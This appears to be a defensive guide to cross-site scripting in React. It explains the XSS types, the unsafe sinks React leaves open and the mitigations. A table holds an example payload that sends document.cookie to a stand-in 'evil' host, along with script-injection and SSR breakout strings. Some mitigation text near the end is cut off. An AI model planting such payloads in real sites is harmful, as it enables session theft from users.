Cross-site scripting happens when attacker-controlled data is interpreted as code in your origin, so it can read the DOM, call your APIs with the user's session and exfiltrate data. Stored XSS is saved on the server and served to other users. Reflected XSS bounces off the server from the request (often the URL). DOM-based XSS never touches the server: client JS moves data from a source (location.hash, postMessage) to a dangerous sink (innerHTML, eval). React escapes text in JSX, which removes the most common bug, but it doesn't protect dangerouslySetInnerHTML, javascript: URLs, raw DOM access, or server-side templates.
| Type | Where the payload lives | Example |
|---|---|---|
| Stored | Database (comments, profile names, filenames) | <img src=x onerror=fetch('//evil/?c='+document.cookie)> saved as a display name |
| Reflected | The request, echoed in the response | /search?q=<script>…</script> rendered unescaped by a server template |
| DOM-based | Client-side only | el.innerHTML = decodeURIComponent(location.hash.slice(1)) |
<p>{userComment}</p> // escaped: "<script>" shows as literal text
JSX text and attribute values are set as text or properties, not parsed as HTML. That covers the bulk of templating XSS.
// 1. Raw HTML sink
<div dangerouslySetInnerHTML={{ __html: post.bodyHtml }} />
// 2. URL schemes. Older React versions only warn about javascript: URLs;
// React 19 replaces them with a blocked placeholder. Validate anyway,
// and remember other schemes (data:) and non-React code paths.
<a href={user.website}>site</a>
// 3. Escaping the framework
ref.current.innerHTML = msg;
document.write(x); eval(x); new Function(x); setTimeout(stringArg)
// 4. SSR state injection
<script>window.__STATE__ = ${JSON.stringify(state)}</script>
// "</script><script>…" inside state breaks out. Escape "<" as <.
// 5. Spreading untrusted props
<div {...userControlledProps} /> // could set dangerouslySetInnerHTML
Also: Markdown renderers that allow raw HTML, third-party widgets, and libraries that write innerHTML internally.
setHTML) is emerging in browsers but isn't universally available, so feature-detect it.https:/http:/mailto: schemes.'strict-dynamic', without 'unsafe-inline', so injected markup can't run scripts.HttpOnly cookies, so XSS can't read the session cookie directly. It can still act as the user, so this limits damage rather than preventing the attack.postMessage data (check event.origin), and even your own API responses.Spotted a mistake or a rights concern? Report an issue